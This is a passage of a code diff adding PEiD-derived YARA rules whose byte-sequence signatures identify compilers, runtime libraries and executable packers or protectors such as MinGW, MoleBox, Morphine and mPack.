+        $a = {55 89 E5 83 EC 18 89 75 FC 8B 75 0C 89 5D F8 83 FE 01 74 5C 89 74 24 04 8B 55 10 89 54 24 08 8B 55 08 89 14 24 E8 96 01 00 00 83 EC 0C 83 FE 01 89 C3 74 2C 85 F6 75 0C 8B 0D 00 30 00 10 85 C9 75 10 31 DB 89 D8 8B 5D F8 8B 75 FC 89 EC 5D C2 0C 00 E8 59 00}
+    condition:
+        $a
+}
+
+rule PEiD_01135_MinGW_3_2_x__Dll_WinMain__
+{
+    meta:
+        description = "[MinGW 3.2.x (Dll_WinMain)]"
+        ep_only = "false"
+    strings:
+        $a = {55 89 E5 83 EC 18 89 75 FC 8B 75 0C 89 5D F8 83 FE 01 74 5C 89 74 24 04 8B 55 10 89 54 24 08 8B 55 08 89 14 24 E8 76 01 00 00 83 EC 0C 83 FE 01 89 C3 74 2C 85 F6 75 0C 8B 0D 00 30 00 10 85 C9 75 10 31 DB 89 D8 8B 5D F8 8B 75 FC 89 EC 5D C2 0C 00 E8 59 00}
+    condition:
+        $a
+}
+
+rule PEiD_01136_MinGW_3_2_x__main__
+{
+    meta:
+        description = "[MinGW 3.2.x (main)]"
+        ep_only = "false"
+    strings:
+        $a = {55 89 E5 83 EC 08 C7 04 24 01 00 00 00 FF 15 E4 40 40 00 E8 68 00 00 00 89 EC 31 C0 5D C3 89 F6 55 89 E5 83 EC 08 C7 04 24 02 00 00 00 FF 15 E4 40 40 00 E8 48 00 00 00 89 EC 31 C0 5D C3 89 F6 55 89 E5 83 EC 08 8B 55 08 89 14 24 FF 15 00 41 40 00 89 EC 5D}
+    condition:
+        $a
+}
+rule PEiD_01137_MinGW_3_2_x__WinMain__
+{
+    meta:
+        description = "[MinGW 3.2.x (WinMain)]"
+        ep_only = "false"
+    strings:
+        $a = {55 89 E5 83 EC 08 C7 04 24 01 00 00 00 FF 15 FC 40 40 00 E8 68 00 00 00 89 EC 31 C0 5D C3 89 F6 55 89 E5 83 EC 08 C7 04 24 02 00 00 00 FF 15 FC 40 40 00 E8 48 00 00 00 89 EC 31 C0 5D C3 89 F6 55 89 E5 83 EC 08 8B 55 08 89 14 24 FF 15 18 41 40 00 89 EC 5D}
+    condition:
+        $a
+}
+
+rule PEiD_01138_MinGW_GCC_2_x_
+{
+    meta:
+        description = "[MinGW GCC 2.x]"
+        ep_only = "true"
+    strings:
+        $a = {55 89 E5 ?? ?? ?? ?? ?? ?? FF FF ?? ?? ?? ?? ?? 00 ?? ?? 00 ?? ?? ?? 00 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_01139_MinGW_GCC_3_x_
+{
+    meta:
+        description = "[MinGW GCC 3.x]"
+        ep_only = "true"
+    strings:
+        $a = {55 89 E5 83 EC 08 C7 04 24 ?? 00 00 00 FF 15 ?? ?? ?? ?? E8 ?? ?? FF FF ?? ?? ?? ?? ?? ?? ?? ?? 55}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01140_MinGW_GCC_DLL_v2xx_
+{
+    meta:
+        description = "[MinGW GCC DLL v2xx]"
+        ep_only = "true"
+    strings:
+        $a = {55 89 E5 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01141_MinGW_GCC_v2_x_
+{
+    meta:
+        description = "[MinGW GCC v2.x]"
+        ep_only = "true"
+    strings:
+        $a = {55 89 E5 E8 ?? ?? ?? ?? C9 C3 ?? ?? 45 58 45}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_01142_MinGW_v3_2_x___mainCRTStartup__
+{
+    meta:
+        description = "[MinGW v3.2.x (_mainCRTStartup)]"
+        ep_only = "true"
+    strings:
+        $a = {55 89 E5 83 EC 08 6A 00 6A 00 6A 00 6A 00 E8 0D 00 00 00 B8 00 00 00 00 C9 C3 90 90 90 90 90 90 FF 25 38 20 40 00 90 90 00 00 00 00 00 00 00 00 FF FF FF FF 00 00 00 00 FF FF FF FF 00 00 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_01143_MinGW_v3_2_x__Dll_main__
+{
+    meta:
+        description = "[MinGW v3.2.x (Dll_main)]"
+        ep_only = "true"
+    strings:
+        $a = {55 89 E5 83 EC 18 89 75 FC 8B 75 0C 89 5D F8 83 FE 01 74 5C 89 74 24 04 8B 55 10 89 54 24 08 8B 55 08 89 14 24 E8 96 01 00 00 83 EC 0C 83 FE 01 89 C3 74 2C 85 F6 75 0C 8B 0D 00 30 00 10 85 C9 75 10 31 DB 89 D8 8B 5D F8 8B 75 FC 89 EC 5D C2 0C 00 E8 59 00 00 00 EB EB 8D B4 26 00 00 00 00 85 C0 75 D0 E8 47 00 00 00 EB C9 90 8D 74 26 00 C7 04 24 80 00 00 00 E8 F4 05 00 00 A3 00 30 00 10 85 C0 74 1A C7 00 00 00 00 00 A3 10 30 00 10 E8 3B 02 00 00 E8 C6 01 00 00 E9 75 FF FF FF E8 BC 05 00 00 C7 00 0C 00 00 00 31 C0 EB 98 89 F6 55 89 E5 83 EC 08 89 5D FC 8B 15 00 30 00 10 85 D2 74 29 8B 1D 10 30 00 10 83 EB 04 39 D3 72 0D 8B 03 85 C0 75 2A 83 EB 04 39 D3 73 F3 89 14 24 E8 6B 05 00 00 31 C0 A3 00 30 00 10 C7 04 24 00 00 00 00 E8 48 05 00 00 8B 5D FC 89 EC 5D C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01144_MinGW_v3_2_x__Dll_mainCRTStartup__
+{
+    meta:
+        description = "[MinGW v3.2.x (Dll_mainCRTStartup)]"
+        ep_only = "true"
+    strings:
+        $a = {55 89 E5 83 EC 08 6A 00 6A 00 6A 00 6A 00 E8 0D 00 00 00 B8 00 00 00 00 C9 C3 90 90 90 90 90 90 FF 25 38 20 00 10 90 90 00 00 00 00 00 00 00 00 FF FF FF FF 00 00 00 00 FF FF FF FF 00 00 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_01145_MinGW_v3_2_x__Dll_WinMain__
+{
+    meta:
+        description = "[MinGW v3.2.x (Dll_WinMain)]"
+        ep_only = "true"
+    strings:
+        $a = {55 89 E5 83 EC 18 89 75 FC 8B 75 0C 89 5D F8 83 FE 01 74 5C 89 74 24 04 8B 55 10 89 54 24 08 8B 55 08 89 14 24 E8 76 01 00 00 83 EC 0C 83 FE 01 89 C3 74 2C 85 F6 75 0C 8B 0D 00 30 00 10 85 C9 75 10 31 DB 89 D8 8B 5D F8 8B 75 FC 89 EC 5D C2 0C 00 E8 59 00 00 00 EB EB 8D B4 26 00 00 00 00 85 C0 75 D0 E8 47 00 00 00 EB C9 90 8D 74 26 00 C7 04 24 80 00 00 00 E8 A4 05 00 00 A3 00 30 00 10 85 C0 74 1A C7 00 00 00 00 00 A3 10 30 00 10 E8 1B 02 00 00 E8 A6 01 00 00 E9 75 FF FF FF E8 6C 05 00 00 C7 00 0C 00 00 00 31 C0 EB 98 89 F6 55 89 E5 83 EC 08 89 5D FC 8B 15 00 30 00 10 85 D2 74 29 8B 1D 10 30 00 10 83 EB 04 39 D3 72 0D 8B 03 85 C0 75 2A 83 EB 04 39 D3 73 F3 89 14 24 E8 1B 05 00 00 31 C0 A3 00 30 00 10 C7 04 24 00 00 00 00 E8 F8 04 00 00 8B 5D FC 89 EC 5D C3}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_01146_MinGW_v3_2_x__main__
+{
+    meta:
+        description = "[MinGW v3.2.x (main)]"
+        ep_only = "true"
+    strings:
+        $a = {55 89 E5 83 EC 08 C7 04 24 01 00 00 00 FF 15 E4 40 40 00 E8 68 00 00 00 89 EC 31 C0 5D C3 89 F6 55 89 E5 83 EC 08 C7 04 24 02 00 00 00 FF 15 E4 40 40 00 E8 48 00 00 00 89 EC 31 C0 5D C3 89 F6 55 89 E5 83 EC 08 8B 55 08 89 14 24 FF 15 00 41 40 00 89 EC 5D C3 8D 76 00 8D BC 27 00 00 00 00 55 89 E5 83 EC 08 8B 55 08 89 14 24 FF 15 F4 40 40 00 89 EC 5D C3 8D 76 00 8D BC 27 00 00 00 00 55 89 E5 53 83 EC 24 C7 04 24 A0 11 40 00 E8 8D 07 00 00 83 EC 04 E8 85 02 00 00 C7 04 24 00 20 40 00 8B 15 10 20 40 00 8D 4D F8 C7 45 F8 00 00 00 00 89 4C 24 10 89 54 24 0C 8D 55 F4 89 54 24 08 C7 44 24 04 04 20 40 00 E8 02 07 00 00 A1 20 20 40 00 85 C0 74 76 A3 30 20 40 00 A1 F0 40 40 00 85 C0 74 1F 89 04 24 E8 C3 06 00 00 8B 1D 20 20 40 00 89 04 24 89 5C 24 04 E8 C1 06 00 00}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_01147_MinGW_v3_2_x__WinMain__
+{
+    meta:
+        description = "[MinGW v3.2.x (WinMain)]"
+        ep_only = "true"
+    strings:
+        $a = {55 89 E5 83 EC 08 C7 04 24 01 00 00 00 FF 15 FC 40 40 00 E8 68 00 00 00 89 EC 31 C0 5D C3 89 F6 55 89 E5 83 EC 08 C7 04 24 02 00 00 00 FF 15 FC 40 40 00 E8 48 00 00 00 89 EC 31 C0 5D C3 89 F6 55 89 E5 83 EC 08 8B 55 08 89 14 24 FF 15 18 41 40 00 89 EC 5D C3 8D 76 00 8D BC 27 00 00 00 00 55 89 E5 83 EC 08 8B 55 08 89 14 24 FF 15 0C 41 40 00 89 EC 5D C3 8D 76 00 8D BC 27 00 00 00 00 55 89 E5 53 83 EC 24 C7 04 24 A0 11 40 00 E8 5D 08 00 00 83 EC 04 E8 55 03 00 00 C7 04 24 00 20 40 00 8B 15 10 20 40 00 8D 4D F8 C7 45 F8 00 00 00 00 89 4C 24 10 89 54 24 0C 8D 55 F4 89 54 24 08 C7 44 24 04 04 20 40 00 E8 D2 07 00 00 A1 20 20 40 00 85 C0 74 76 A3 30 20 40 00 A1 08 41 40 00 85 C0 74 1F 89 04 24 E8 93 07 00 00 8B 1D 20 20 40 00 89 04 24 89 5C 24 04 E8 91 07 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01148_MingWin32___Dev_C___v4_9_9_1__h__
+{
+    meta:
+        description = "[MingWin32 - Dev C++ v4.9.9.1 (h)]"
+        ep_only = "true"
+    strings:
+        $a = {55 89 E5 83 EC 08 C7 04 24 01 00 00 00 FF 15 ?? ?? ?? 00 E8 C8 FE FF FF 90 8D B4 26 00 00 00 00 55 89 E5 83 EC 08 C7 04 24 02 00 00 00 FF 15 ?? ?? ?? 00 E8 A8 FE FF FF 90 8D B4 26 00 00 00 00 55 8B 0D ?? ?? ?? 00 89 E5 5D FF E1 8D 74 26 00 55 8B 0D ?? ?? ?? 00 89 E5 5D FF E1 90 90 90 90 55 89 E5 5D E9 ?? ?? 00 00 90 90 90 90 90 90 90}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_01149_MingWin32_v_____h__
+{
+    meta:
+        description = "[MingWin32 v?.? (h)]"
+        ep_only = "true"
+    strings:
+        $a = {55 89 E5 83 EC 08 C7 04 24 ?? 00 00 00 FF 15 ?? ?? ?? 00 E8 ?? FE FF FF 90 8D B4 26 00 00 00 00 55}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01150_Minke_1_0_1___by_Codius_
+{
+    meta:
+        description = "[Minke 1.0.1 - by Codius]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 F0 53 ?? ?? ?? ?? ?? 10 E8 7A F6 FF FF BE 68 66 00 10 33 C0 55 68 DB 40 00 10 64 FF 30 64 89 20 E8 FA F8 FF FF BA EC 40 00 10 8B C6 E8 F2 FA FF FF 8B D8 B8 6C 66 00 10 8B 16 E8 88 F2 FF FF B8 6C 66 00 10 E8 76 F2 FF FF 8B D0 8B C3 8B 0E E8}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01151_Minke_1_0_1___by_Codius_
+{
+    meta:
+        description = "[Minke 1.0.1 - by Codius]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 F0 53 ?? ?? ?? ?? ?? 10 E8 7A F6 FF FF BE 68 66 00 10 33 C0 55 68 DB 40 00 10 64 FF 30 64 89 20 E8 FA F8 FF FF BA EC 40 00 10 8B C6 E8 F2 FA FF FF 8B D8 B8 6C 66 00 10 8B 16 E8 88 F2 FF FF B8 6C 66 00 10 E8 76 F2 FF FF 8B D0 8B C3 8B 0E E8 E3 E4 FF FF E8 2A F9 FF FF E8 C1 F8 FF FF B8 6C 66 00 10 8B 16 E8 6D FA FF FF E8 14 F9 FF FF E8 AB F8 FF FF 8B 06 E8 B8 E3 FF FF 8B D8 B8 6C 66 00 10 E8 38 F2 FF FF 8B D3 8B 0E E8 A7 E4 FF ?? ?? ?? ?? C4 FB FF FF E8 E7 F8 FF FF 8B C3 E8 B0 E3 FF FF E8 DB F8 FF FF 33 C0 5A 59 59 64 89 10 68 E2 40 00 10 C3 E9 50 EB FF FF EB F8 5E 5B E8 BB EF FF FF 00 00 00 43 41 31 38}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01152_Minke_V1_0_1____Codius___Sign_by_fly_
+{
+    meta:
+        description = "[Minke V1.0.1 -> Codius ! Sign by fly]"
+        ep_only = "false"
+    strings:
+        $a = {26 3D 4F 38 C2 82 37 B8 F3 24 42 03 17 9B 3A 83 01 00 00 CC 00 00 00 00 06 00 00 00 01 64 53 74 75 62 00 10 55 54 79 70 65 73 00 00 C7 53 79 73 74 65 6D 00 00 81 53 79 73 49 6E 69 74 00 0C 4B 57 69 6E 64 6F 77 73 00 00 8A 75 46 75 6E 63 74 69 6F 6E 73}
+    condition:
+        $a
+}
+
+rule PEiD_01153_mkfpack____llydd_
+{
+    meta:
+        description = "[mkfpack -> llydd]"
+        ep_only = "false"
+    strings:
+        $a = {E8 00 00 00 00 5B 81 EB 05 00 00 00 8B 93 9F 08 00 00 53 6A 40 68 00 10 00 00 52 6A 00 FF 93 32 08 00 00 5B 8B F0 8B BB 9B 08 00 00 03 FB 56 57 E8 86 08 00 00 83 C4 08 8D 93 BB 08 00 00 52 53 FF E6}
+    condition:
+        $a
+}
+rule PEiD_01154_modified_HACKSTOP_v1_11f_
+{
+    meta:
+        description = "[modified HACKSTOP v1.11f]"
+        ep_only = "true"
+    strings:
+        $a = {52 B4 30 CD 21 52 FA ?? FB 3D ?? ?? EB ?? CD 20 0E 1F B4 09 E8}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01155_MoleBox_v2_3_0____Teggo_
+{
+    meta:
+        description = "[MoleBox v2.3.0 -> Teggo]"
+        ep_only = "false"
+    strings:
+        $a = {42 04 E8 ?? ?? 00 00 A3 ?? ?? ?? 00 8B 4D F0 8B 11 89 15 ?? ?? ?? 00 ?? 45 FC A3 ?? ?? ?? 00 5F 5E 8B E5 5D C3 CC CC CC CC CC CC CC CC CC CC CC E8 EB FB FF FF 58 E8 ?? 07 00 00 58 89 44 24 20 61 58 FF D0 E8 ?? ?? 00 00 CC CC CC CC CC CC CC}
+    condition:
+        $a
+}
+
+rule PEiD_01156_MoleBox_v2_5_4____Teggo_
+{
+    meta:
+        description = "[MoleBox v2.5.4 -> Teggo]"
+        ep_only = "false"
+    strings:
+        $a = {?? ?? ?? 00 8B 4D F0 8B 11 89 15 ?? ?? ?? 00 8B 45 FC A3 ?? ?? ?? 00 5F 5E 8B E5 5D C3 CC CC CC E8 EB FB FF FF 58 E8 ?? 07 00 00 58 89 44 24 24 61 58 58 FF D0 E8 ?? ?? 00 00 6A 00 FF 15 ?? ?? ?? 00 CC CC CC CC CC CC CC CC CC CC CC CC CC CC}
+    condition:
+        $a
+}
+
+rule PEiD_01157_MoleBox_V2_X____MoleStudio_com_
+{
+    meta:
+        description = "[MoleBox V2.X -> MoleStudio.com]"
+        ep_only = "true"
+    strings:
+        $a = {E8 00 00 00 00 60 E8 4F 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01158_Morphine_2_7____Holy_Father___Ratter_29A__h__
+{
+    meta:
+        description = "[Morphine 2.7 -> Holy_Father & Ratter/29A (h)]"
+        ep_only = "false"
+    strings:
+        $a = {?? ?? ?? ?? 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 47 65 74 50 72 6F 63}
+    condition:
+        $a
+}
+rule PEiD_01159_Morphine_2_7____Holy_Father___Ratter_29A_
+{
+    meta:
+        description = "[Morphine 2.7 -> Holy_Father & Ratter/29A]"
+        ep_only = "false"
+    strings:
+        $a = {00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01160_Morphine_3_3____Holy_Father___Ratter_29A_
+{
+    meta:
+        description = "[Morphine 3.3 -> Holy_Father & Ratter/29A]"
+        ep_only = "false"
+    strings:
+        $a = {00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 4B 65 52 6E 45 6C 33 32 2E 64 4C 6C 00 00 47 65 74 50 72 6F 63 41 64 64 72}
+    condition:
+        $a
+}
+
+rule PEiD_01161_Morphine_3_3____Silent_Software___Silent_Shield__c_2005__h__
+{
+    meta:
+        description = "[Morphine 3.3 -> Silent Software & Silent Shield (c)2005 (h)]"
+        ep_only = "false"
+    strings:
+        $a = {28 ?? ?? ?? 00 00 00 00 00 00 00 00 40 ?? ?? ?? 34 ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4C ?? ?? ?? 5C ?? ?? ?? 00 00 00 00 4C ?? ?? ?? 5C ?? ?? ?? 00 00 00 00 4B 65 52 6E 45 6C 33 32 2E 64 4C 6C 00 00 47 65 74 50 72 6F 63}
+    condition:
+        $a
+}
+
+rule PEiD_01162_Morphine_v1_2___v1_3_
+{
+    meta:
+        description = "[Morphine v1.2 - v1.3]"
+        ep_only = "false"
+    strings:
+        $a = {FF 25 34 ?? 5A 00 8B C0 FF 25 38 ?? 5A 00 8B C0}
+    condition:
+        $a
+}
+
+rule PEiD_01163_Morphine_v2_7____Holy_Father___Ratter_29A__h__
+{
+    meta:
+        description = "[Morphine v2.7 -> Holy_Father & Ratter/29A (h)]"
+        ep_only = "false"
+    strings:
+        $a = {?? ?? ?? ?? 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+rule PEiD_01164_Morphine_v2_7____Holy_Father___Ratter_29A_
+{
+    meta:
+        description = "[Morphine v2.7 -> Holy_Father & Ratter/29A]"
+        ep_only = "false"
+    strings:
+        $a = {00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01165_Morphine_V3_3____Holy_Father___Ratter_29A_
+{
+    meta:
+        description = "[Morphine V3.3 -> Holy_Father & Ratter/29A]"
+        ep_only = "false"
+    strings:
+        $a = {00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 4B 65 52 6E 45 6C 33 32 2E 64 4C 6C 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41}
+    condition:
+        $a
+}
+
+rule PEiD_01166_Morphine_v3_3____Silent_Software___Silent_Shield__c_2005__h__
+{
+    meta:
+        description = "[Morphine v3.3 -> Silent Software & Silent Shield (c)2005 (h)]"
+        ep_only = "false"
+    strings:
+        $a = {28 ?? ?? ?? 00 00 00 00 00 00 00 00 40 ?? ?? ?? 34 ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4C ?? ?? ?? 5C ?? ?? ?? 00 00 00 00 4C ?? ?? ?? 5C ?? ?? ?? 00 00 00 00 4B 65 52 6E 45 6C 33 32 2E 64 4C 6C 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41}
+    condition:
+        $a
+}
+
+rule PEiD_01167_Morphnah_Beta____Kas_
+{
+    meta:
+        description = "[Morphnah Beta -> Kas]"
+        ep_only = "true"
+    strings:
+        $a = {2E 6E 61 68 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 A0 00 00 E0}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01168_mPack_0_0_3____DeltaAziz_
+{
+    meta:
+        description = "[mPack 0.0.3 -> DeltaAziz]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 F0 33 C0 89 45 F0 B8 A8 76 00 10 E8 67 C4 FF FF 33 C0 55 68 C2 78 00 10 64 FF 30 64 89 20 8D 55 F0 33 C0 E8 93 C8 FF FF 8B 45 F0 E8 87 CB FF FF A3 08 A5 00 10 33 C0 55 68 A5 78 00 10 64 FF 30 64 89 20 A1 08 A5 00 10 E8 FA C9 FF FF 83 F8 FF}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01169_mPack_0_0_3____DeltaAziz_
+{
+    meta:
+        description = "[mPack 0.0.3 -> DeltaAziz]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 F0 33 C0 89 45 F0 B8 A8 76 00 10 E8 67 C4 FF FF 33 C0 55 68 C2 78 00 10 64 FF 30 64 89 20 8D 55 F0 33 C0 E8 93 C8 FF FF 8B 45 F0 E8 87 CB FF FF A3 08 A5 00 10 33 C0 55 68 A5 78 00 10 64 FF 30 64 89 20 A1 08 A5 00 10 E8 FA C9 FF FF 83 F8 FF 75 0A E8 88 B2 FF FF E9 1B 01 00 00 C7 05 14 A5 00 10 32 00 00 00 A1 08 A5 00 10 8B 15 14 A5 00 10 E8 C9 C9 FF FF BA 14 A5 00 10 A1 08 A5 00 10 B9 04 00 00 00 E8 C5 C9 FF FF 83 3D 14 A5 00 10 32 77 0A E8 47 B2 FF FF E9 DA 00 00 00 A1 08 A5 00 10 8B 15 14 A5 00 10 E8 92 C9 FF FF BA 18 A5}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_01170_mPACK_v0_0_2____DeltaAziz__h__
+{
+    meta:
+        description = "[mPACK v0.0.2 -> DeltaAziz (h)]"
+        ep_only = "true"
+    strings:
+        $a = {E9 00 00 00 00 60 E8 14 00 00 00 5D 81 ED 00 00 00 00 6A 45 E8 A3 00 00 00 68 00 00 00 00 E8 58 61 E8 AA 00 00 00 4E ?? ?? 00 00 00 00 00 00 00 00 00 5E ?? ?? 00 4E ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 ?? ?? 00 00 ?? ?? 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 00 00 00 00 00 ?? ?? ?? 0C ?? ?? ?? CC E4 ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 5D 68 00 FE 9F 07 53 E8 5D 00 00 00 EB FF 71 E8 C2 50 00 EB D6 5E F3 68 89 74 24 48 74 24 58 FF 8D 74 24 58 5E 83 C6 4C 75 F4 59 8D 71 E8 75 09 81 F6 EB FF 51 B9 01 00 83 EE FC 49 FF 71 C7 75 19 8B 74 24 00 00 81 36 50 56 8B 36 EB FF 77 C4 36 81 F6 EB 87 34 24 8B 8B 1C 24 83 EC FC EB 01 E8 83 EC FC E9 E7 00 00 00 5B EB FF F3 EB FF C3 83 EB FD}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01171_mPack_V0_03____DeltaAziz_
+{
+    meta:
+        description = "[mPack V0.03 -> DeltaAziz]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 ?? ?? 33 C0 89 45 F0 B8 ?? ?? ?? ?? E8 67 C4 FF FF 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 8D 55 F0 33 C0 E8 93 C8 FF FF 8B 45 F0 E8 87 CB FF FF A3 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 A1 ?? ?? ?? ?? E8 FA C9 FF FF 83 F8 FF}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01172_MPEG_movie_file_
+{
+    meta:
+        description = "[MPEG movie file]"
+        ep_only = "false"
+    strings:
+        $a = {00 00 01 BA 2F FF FD E6 C1 80 18 61 00 00 01 BB}
+    condition:
+        $a
+}
+
+rule PEiD_01173_MS_FORTRAN_Library_19___
+{
+    meta:
+        description = "[MS FORTRAN Library 19??]"
+        ep_only = "true"
+    strings:
+        $a = {FC 1E B8 ?? ?? 8E D8 9A ?? ?? ?? ?? 81 ?? ?? ?? 8B EC 8C DB 8E C3 BB ?? ?? 9A ?? ?? ?? ?? 9B DB E3 9B D9 2E ?? ?? 33 C9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01174_MS_FORTRAN_Library_19___
+{
+    meta:
+        description = "[MS FORTRAN Library 19??]"
+        ep_only = "true"
+    strings:
+        $a = {FC 1E B8 ?? ?? 8E D8 9A ?? ?? ?? ?? 81 ?? ?? ?? 8B EC B8 ?? ?? 8E C0 26 C7 ?? ?? ?? ?? ?? 26}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01175_MS_Run_Time_Library__OS_2____FORTRAN_Compiler_1989_
+{
+    meta:
+        description = "[MS Run-Time Library (OS/2) & FORTRAN Compiler 1989]"
+        ep_only = "true"
+    strings:
+        $a = {B4 30 CD 21 86 E0 2E A3 ?? ?? 3D ?? ?? 73}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01176_MS_Run_Time_Library_1987_
+{
+    meta:
+        description = "[MS Run-Time Library 1987]"
+        ep_only = "true"
+    strings:
+        $a = {B4 30 CD 21 3C 02 73 ?? 9A ?? ?? ?? ?? B8 ?? ?? 50 9A ?? ?? ?? ?? 92}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01177_MS_Run_Time_Library_1988__04__
+{
+    meta:
+        description = "[MS Run-Time Library 1988 (04)]"
+        ep_only = "true"
+    strings:
+        $a = {1E B8 ?? ?? 8E D8 B4 30 CD 21 3C 02 73 ?? BA ?? ?? E8 ?? ?? 06 33 C0 50 CB}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01178_MS_Run_Time_Library_1990__07__
+{
+    meta:
+        description = "[MS Run-Time Library 1990 (07)]"
+        ep_only = "true"
+    strings:
+        $a = {2E 8C 1E ?? ?? BB ?? ?? 8E DB 1E E8 ?? ?? 1F 8B 1E ?? ?? 0B DB 74 ?? 8C D1 8B D4 FA 8E D3 BC ?? ?? FB}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01179_MS_Run_Time_Library_1990__10__
+{
+    meta:
+        description = "[MS Run-Time Library 1990 (10)]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? 2E FF 2E ?? ?? BB ?? ?? E8 ?? ?? CB}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01180_MS_Run_Time_Library_1990__1992__09__
+{
+    meta:
+        description = "[MS Run-Time Library 1990, 1992 (09)]"
+        ep_only = "true"
+    strings:
+        $a = {B4 30 CD 21 3C 02 73 ?? C3 8C DF 8B 36 ?? ?? 2E}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01181_MS_Run_Time_Library_1992__11__
+{
+    meta:
